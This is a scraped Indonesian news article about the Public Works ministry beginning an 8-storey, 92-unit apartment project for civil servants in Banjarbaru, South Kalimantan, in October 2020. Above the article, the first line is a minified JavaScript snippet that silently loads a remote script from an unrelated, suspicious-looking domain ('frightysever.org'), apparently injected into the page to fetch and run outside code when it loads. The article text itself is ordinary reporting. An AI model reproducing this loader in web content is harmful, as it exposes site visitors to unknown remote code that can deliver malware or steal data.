(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Balai Pelaksana Penyedia Perumahan Kalimantan II memulai proyek pembangunan rumah susun (Rusun), di jalan Unlam III, Kelurahan Sungai Besar, Banjarbaru, Kamis (22/10/2020) siang.
Rusun yang dibangun ini diinisiasikan sebagai rumah dinas ASN (Aparatur Sipil Negara) yang berada dalam naungan Kementrian PUPR. Wakil Menteri PUPR John Wempi Wetipo mengungkapkan, proyek pembangunan rusun di wilayah Banjarbaru itu, menjadi pilot project perumahan bagi ASN di lingkup Kementerian PUPR secara nasional.
“Rusun yang sedang dibangun ini adalah model atau pilot project nasional bagi perumahan ASN Kementerian PUPR di berbagai daerah lain se-Indonesia,” katanya. Kontrak kerja pembangunan rusun telah dilaksanakan sejak 5 Oktober 2020. Proyek ini menelan anggaran mencapai Rp 64,9 miliar. Pelaksana pekerjaan adalah PT Citra Prasasti Konsorindo KSO dan PT Cipta Vera Mandiri. Sementara, konsultan proyek ini ialah PT Virama Karya (Persero) Cabang Kalimantan.
Sementara, proyek pembangunan rusun bagi ASN di Kementrian PUPR dikerjakan dalam kontrak multiyears (jamak), terhitung dari 2020 hingga 2021 mendatang. Bangunan rusun terdiri dari 8 lantai, memuat 92 unit ruangan bertipe 45.
John sendiri bersyukur atas keaktifan Kementerian PUPR dalam melaksanakan aktivitas pembangunan di berbagai daerah Indonesia, walaupun tengah dalam situasi pandemi Covid-19. Rencananya, usai pembangunan rusun tersebut rampung, pihaknya akan membangun perkantoran terpadu di Banjarbaru.
“Selain rumah dinas bagi ASN PUPR, kita juga berencana membangun perkantoran, sehingga nanti kantor-kantor balai yang ada di Banjarmasin akan pindah semua ke Banjarbaru,” ujar Wamen.
Menurut informasi, rencananya Kementrian PUPR akan mengirim 700 pegawai ASN untuk bertugas di Provinsi Kalimantan Selatan. Kedatangan ratusan pegawai ASN dari Kementrian tersebut guna mendorong pertumbuhan pembangunan infrastruktur di Kalsel, yang akan masif dilakukan sejak memasuki awal 2021 nanti.
Disisi lain, Kepala Balai Pelaksana Penyedia perumahan Kalimantan II Nursal ST MT mengatakan terlaksananya pembangunan rusun ini bertujuan untuk memenuhi kebutuhan ASN di lingkup PUPR yang bertugas di Kalsel agar mendapatkan tempat tinggal yang layak. “Kriteria layak adalah ketersediaan air bersih, sanitasi yang baik, kebutuhan luas bangunan standar dan kualitas struktur bangunan yang memenuhi standar kesehatan,” imbuhnya.
Sementara itu, Erpika Ansela Surira, Kepala SNVT (Satuan Non Vertikal Tertentu) mengungkapkan penyediaan perumahan Provinsi Kalsel, pemilihan letak rumah susun di Kota Banjarbaru sesuai dengan kebutuhan ASN ke depannya. “Banjarbaru merupakan pusat pemerintahan provinsi Kalsel dan calon ibu kota baru, selain itu ketersediaan lahan yang luas juga menjadi pertimbangan,” kata Erpika. (kanalkalimantan.com/rico)
Reporter: Rico
Editor : Bie
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More
KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More
This website uses cookies.